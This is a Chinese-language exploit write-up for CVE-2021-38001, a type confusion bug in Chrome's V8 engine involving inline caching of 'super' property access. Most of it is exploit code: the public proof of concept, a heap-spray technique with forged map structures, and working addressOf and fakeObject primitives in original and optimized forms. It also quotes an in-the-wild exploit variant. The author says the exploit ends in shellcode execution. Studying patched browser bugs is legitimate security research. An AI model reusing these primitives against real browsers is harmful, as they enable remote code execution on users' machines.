CVE-2021-38001漏洞分析
第四个研究的是CVE-2021-38001
,其chrome的bug编号为:1260577
其相关信息还未公开,但是我们仍然能得知:
受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21
搭建环境 一键编译相关环境:
该漏洞是2021年天府杯上提交的漏洞,在网上也只有一篇相关分析和PoC[2] :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import * as module from "1.mjs" ;function poc ( ) { class C { m ( ) { return super .y ; } } let zz = {aa : 1 , bb : 2 }; function trigger ( ) { C.prototype .__proto__ = zz; C.prototype .__proto__ .__proto__ = module ; let c = new C (); c.x0 = 0x42424242 / 2 ; c.x1 = 0x42424242 / 2 ; c.x2 = 0x42424242 / 2 ; c.x3 = 0x42424242 / 2 ; c.x4 = 0x42424242 / 2 ; let res = c.m (); } for (let i = 0 ; i < 0x100 ; i++) { trigger (); } } poc ();
该漏洞在原理的理解上有一些难度,不过仍然能使用套模板的方法来编写EXP,不过在套模板之前我们先来学一个新技术:V8通用堆喷技术
V8通用堆喷技术 首先来做个简单的测试:
1 2 3 a = Array (100 ); %DebugPrint (a); %SystemBreak ();
使用vmmap
查看堆布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 0x1f7a00000000 0x1f7a00003000 rw-p 3000 0 [anon_1f7a00000] 0x1f7a00003000 0x1f7a00004000 ---p 1000 0 [anon_1f7a00003] 0x1f7a00004000 0x1f7a0001a000 r-xp 16000 0 [anon_1f7a00004] 0x1f7a0001a000 0x1f7a0003f000 ---p 25000 0 [anon_1f7a0001a] 0x1f7a0003f000 0x1f7a08000000 ---p 7fc1000 0 [anon_1f7a0003f] 0x1f7a08000000 0x1f7a0802a000 r--p 2a000 0 [anon_1f7a08000] 0x1f7a0802a000 0x1f7a08040000 ---p 16000 0 [anon_1f7a0802a] 0x1f7a08040000 0x1f7a0814d000 rw-p 10d000 0 [anon_1f7a08040] 0x1f7a0814d000 0x1f7a08180000 ---p 33000 0 [anon_1f7a0814d] 0x1f7a08180000 0x1f7a08183000 rw-p 3000 0 [anon_1f7a08180] 0x1f7a08183000 0x1f7a081c0000 ---p 3d000 0 [anon_1f7a08183] 0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0] 0x1f7a08240000 0x1f7b00000000 ---p f7dc0000 0 [anon_1f7a08240]
其中我们注意一下最后一块堆相关信息:
1 2 3 4 5 6 7 8 9 10 11 0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0] pwndbg> x/16gx 0x1f7a081c0000 0x1f7a081c0000: 0x0000000000040000 0x0000000000000004 0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118 0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8 0x1f7a081c0030: 0x0000000000000000 0x0000000000002118 0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0 0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000 0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000 0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000
以下为该堆块的相关结构:
1 2 3 4 0x1f7a081c0000: size = 0x40000 0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118,在V8的堆结构中有0x2118字节用来存储堆结构相关信息 0x1f7a081c0020: 堆指针,表示该堆已经被使用到哪了 0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000
再来看看后面的堆布局:
1 2 3 4 5 6 7 8 9 pwndbg> x/16gx 0x1f7a081c0000 + 0x40000 0x1f7a08200000: 0x0000000000040000 0x0000000000000004 0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118 0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8 0x1f7a08200030: 0x0000000000000000 0x0000000000002118 0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0 0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000 0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000 0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000
结构同上,可以发现,在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
内存区域中,由两个大小为0x40000
的v8的堆组成。
如果这个时候,我申请一个0xf700
大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18
,再对齐一下,那么就是0x40000
大小的堆,我们来测试一下:
1 2 3 a = Array (0xf700 ); %DebugPrint (a); %SystemBreak ();
得到变量a
的信息为:
1 2 3 4 5 6 7 8 9 10 11 12 DebugPrint: 0x2beb08049929: [JSArray] - map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x2beb081cc0e9 <JSArray[0]> - elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS] - length: 63232 - properties: 0x2beb0800222d <FixedArray[0]> - All own properties (excluding elements): { 0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x2beb08242119 <FixedArray[63232]> { 0-63231: 0x2beb0800242d <the_hole> }
发现堆布局的变化:
1 0x2beb081c0000 0x2beb08280000 rw-p c0000 0 [anon_2beb081c0]
size从0x80000
变成了0xc0000
,跟我预想的一样,增加了0x40000
,而变量a
的elements
字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119
在新版的V8种,因为启用的地址压缩特性,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119
另外,堆地址总是从0x00000000
开始的,在我的环境中,上述堆的高2字节总是0x081c
,该数值取决于V8在前面的堆中储存了多少数据,该值不会随机变化,比如在写好的脚本中,该值基本不会发生改变。所以现在,可以确定一个有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0
如果在比较复杂的环境中,可以增加Array的数量,然后定一个比较大的值,如以下一个示例:
1 2 3 4 5 6 7 8 big_array = []; for (let i = 0x0 ; i < 0x50 ; i++) { tmp = new Array (0x100000 ); for (let j = 0x0 ; j < 0x100 ; j++) { tmp[0x18 / 0x8 + j * 0x1000 ] = itof (i * 0x100 + j); } big_array.push (tmp); }
通过该方法堆喷,我们能确定一个地址:0x30002121
,然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)
的值,从而算出i,j:
1 2 3 var u32 = new Uint32Array (f64.buffer );getByteLength = u32.__lookupGetter__ ('byteLength' ); byteLength = getByteLength.call (evil);
该方法的作用是获取Uint32Array
类型变量的bytelength
属性,可以通过调试,了解一下Uint32Array
类型变量的结构。
但是为什么evil(地址为0x30002121),会被当成Uint32Array
类型的变量呢,因为使用上述方法,V8不会检查变量类型吗?当然不是,上面的代码并不完整,完整的代码还需要伪造map结构,地址我们可以算出来,而map结构的会被检查的数据都是flag标志为,该值固定,所以使用gdb查看一下相关变量的map结构,就能进行伪造了,完整的堆喷代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ut_map = itof (0x300021a1 ); buffer = itof (0x3000212900000000 ); address = itof (0x12312345678 ); ut_map1 = itof (0x1712121200000000 ); ut_map2 = itof (0x3ff5500082e ); ut_length = itof (0x2 ); double_map = itof (0x300022a1 ); double_map1 = itof (0x1604040400000000 ); double_map2 = itof (0x7ff11000834 ); big_array = []; for (let i = 0x0 ; i < 0x50 ; i++) { tmp = new Array (0x100000 ); for (let j = 0x0 ; j < 0x100 ; j++) { tmp[0x0 / 0x8 + j * 0x1000 ] = ut_map; tmp[0x8 / 0x8 + j * 0x1000 ] = buffer; tmp[0x18 / 0x8 + j * 0x1000 ] = itof (i * 0x100 + j); tmp[0x20 / 0x8 + j * 0x1000 ] = ut_length; tmp[0x28 / 0x8 + j * 0x1000 ] = address; tmp[0x30 / 0x8 + j * 0x1000 ] = 0x0 ; tmp[0x80 / 0x8 + j * 0x1000 ] = ut_map1; tmp[0x88 / 0x8 + j * 0x1000 ] = ut_map2; tmp[0x100 / 0x8 + j * 0x1000 ] = double_map; tmp[0x180 / 0x8 + j * 0x1000 ] = double_map1; tmp[0x188 / 0x8 + j * 0x1000 ] = double_map2; } big_array['push' ](tmp); }
后续利用中同样可以使用该思路伪造一个doule
数组的变量或者obj
数组的变量。
套模版 接下来又到套模板的时间了,暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。
研究PoC 可以把PoC化简一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import ('./2.mjs' ).then ((m1 ) => { var f64 = new Float64Array (1 ); var bigUint64 = new BigUint64Array (f64.buffer ); var u32 = new Uint32Array (f64.buffer ); function d2u (v ) { f64[0 ] = v; return u32; } function u2d (lo, hi ) { u32[0 ] = lo; u32[1 ] = hi; return f64[0 ]; } function ftoi (f ) { f64[0 ] = f; return bigUint64[0 ]; } function itof (i ) { bigUint64[0 ] = i; return f64[0 ]; } class C { m ( ) { return super .x ; } } obj_prop_ut_fake = {}; for (let i = 0x0 ; i < 0x11 ; i++) { obj_prop_ut_fake['x' + i] = u2d (0x40404042 , 0 ); } C.prototype .__proto__ = m1; function trigger ( ) { let c = new C (); c.x0 = obj_prop_ut_fake; let res = c.m (); return res; } for (let i = 0 ; i < 10 ; i++) { trigger (); } let evil = trigger (); %DebugPrint (evil); });
运行一下PoC
,可以发现,最后的结果为:DebugPrint: Smi: 0x20202021 (538976289)
,SMI类型的变量,值为0x20202021
,在内存中的储存值为其两倍:0x20202021 * 2 = 0x40404042
,也就是我们在PoC中设置的值。
编写堆喷代码 在PoC中加上我们的堆喷代码(同时进行堆布局):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 a = [2.1 ]; b_1 = {"a" : 2.2 }; b = [b_1]; double_array_addr = 0x082c2121 +0x100 ; double_array_map0 = itof (0x1604040408002119n ); double_array_map1 = itof (0x0a0007ff11000834n ); ptr_array_addr = 0x08242119 ; ptr_array = new Array (0xf700 ); ptr_array[0 ] = a; ptr_array[1 ] = b; big_array = new Array (0xf700 ); big_array[0x000 /8 ] = u2d (double_array_addr, 0 ); big_array[0x008 /8 ] = u2d (ptr_array_addr, 0x2 ); big_array[0x100 /8 ] = double_array_map0; big_array[0x108 /8 ] = double_array_map1;
其中0x082c2121
为big_array[0]
的地址,0x08242119
为ptr_array[0]
的地址。
然后是leak变量a
和变量b
的map地址:
1 2 3 4 5 6 7 8 9 10 11 12 let evil = trigger ();addr = d2u (evil[0 ]); a_addr = addr[0 ]; b_addr = addr[1 ]; console .log ("[*] leak a addr: 0x" +hex (a_addr));console .log ("[*] leak b addr: 0x" +hex (b_addr));big_array[0x008 /8 ] = u2d (a_addr - 0x8 , 0x2 ); double_array_map = evil[0 ]; big_array[0x008 /8 ] = u2d (b_addr - 0x8 , 0x2 ); obj_array_map = evil[0 ]; console .log ("[*] leak double_array_map: 0x" +hex (ftoi (double_array_map)));console .log ("[*] leak obj_array_map: 0x" +hex (ftoi (obj_array_map)));
编写addressOf函数 现在我们能来编写addressOf函数了:
1 2 3 4 5 6 7 8 9 function addressOf (obj_to_leak ){ big_array[0x008 /8 ] = u2d (b_addr - 0x8 , 0x2 ); b[0 ] = obj_to_leak; evil[0 ] = double_array_map; let obj_addr = ftoi (b[0 ])-1n ; evil[0 ] = obj_array_map; return obj_addr; }
编写fakeObj函数 接下来就是编写fakeObj
函数:
1 2 3 4 5 6 7 8 9 function fakeObject (addr_to_fake ){ big_array[0x008 /8 ] = u2d (a_addr - 0x8 , 0x2 ); a[0 ] = itof (addr_to_fake + 1n ); evil[0 ] = obj_array_map; let faked_obj = a[0 ]; evil[0 ] = double_array_map; return faked_obj; }
之后就是按照模版来了,修改修改偏移,就能执行shellcode了。
优化 该PoC还能进行一些优化,有时候没必要死抠着模板来,按照上文的所说的知识,我们能伪造map结构的数据,那自然不管是double array map
还是obj array map
都能,所以没必要再泄漏这些数据了。
我们的堆喷代码能进行一些优化:
1 2 3 4 5 6 7 8 9 10 11 12 13 double_array_addr = 0x08282121 +0x100 ; obj_array_addr = 0x08282121 +0x150 ; array_map0 = itof (0x1604040408002119n ); double_array_map1 = itof (0x0a0007ff11000834n ); obj_array_map1 = itof (0x0a0007ff09000834n ); ptr_array_addr = 0x08282121 + 0x050 ; big_array = new Array (0xf700 ); big_array[0x000 /8 ] = u2d (obj_array_addr, 0 ); big_array[0x008 /8 ] = u2d (ptr_array_addr, 0x2 ); big_array[0x100 /8 ] = array_map0; big_array[0x108 /8 ] = double_array_map1; big_array[0x150 /8 ] = array_map0; big_array[0x158 /8 ] = obj_array_map1;
其中big_array[0x100/8]
是我们伪造的double array map
,big_array[0x150/8]
是我们伪造的object array map
。
addressOf
函数和fakeObj
函数也进行一波优化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function fakeObject (addr_to_fake ){ big_array[0x058 /8 ] = itof (addr_to_fake + 1n ); let faked_obj = evil[0 ]; return faked_obj; } function addressOf (obj_to_leak ){ evil[0 ] = obj_to_leak; big_array[0x000 /8 ] = u2d (double_array_addr, 0 ); let obj_addr = ftoi (evil[0 ])-1n ; big_array[0x000 /8 ] = u2d (obj_array_addr, 0 ); return obj_addr; }
其他PoC 该漏洞的PoC不仅有Github上公开的版本,还抓到一个在野利用的版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 function triger_type_confusion ( ) { return obj; } obj_or_function = 1.1 ; class C extends triger_type_confusion { constructor ( ) { super (); obj_or_function = super .x ; } } obj_prop_ut_fake = {}; for (let i = 0x0 ; i < 0x11 ; i++) { obj_prop_ut_fake['x' + i] = itof (0x30002121 ); } obj = { 'x1' : obj_prop_ut_fake }; C['prototype' ]['__proto__' ] = q1; for (let i = 0x0 ; i < 0xa ; i++) { new C (); } new C ();fake_ut = obj_or_function;
不过跟Github上的PoC对比,略显麻烦了一些,不过原理仍然是一样的。
漏洞原理 该漏洞的成因跟之前我复现的漏洞相比,略微复杂了一下,需要补充一些V8的设计原理相关的知识,可以参考:[3] 、[4] 。
需要了解一下JS获取属性的原理,还有Inline Caches
相关的知识。
这里我只简单说说该漏洞的问题:
在最开始执行10次new C()
,因为Lazy feedback allocation
,所以并没有对属性访问进行优化,这个时候的super
就是m1
,但是在执行完10次之后,开始进行Inline Caches
优化,因为内联缓存代码的bug,super的值变成了变量c
: let c = new C();
,之后的流程如下:
super.x
的取值顺序为:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
因为Lazy feedback allocation
,trigger
函数在执行10次之后,触发了Inline Caches
,为了加速代码执行速度,把super.x
取值的顺序直接转换成汇编代码。
漏洞代码,在翻译汇编代码的时候,把super
翻译成了变量c
。
c+0xC
位置储存的是obj_prop_ut_fake
obj_prop_ut_fake+0x4
储存的是该变量的properties
(属性),也就是obj_prop_ut_fake.xn
obj_prop_ut_fake.properties + 0x28
获取到的是HeapNumber
结构地址。
HeapNumber+0x4
地址的值为u2d(0x40404042, 0)
参考
https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
https://v8.dev/blog/v8-lite
https://mathiasbynens.be/notes/shapes-ics#ics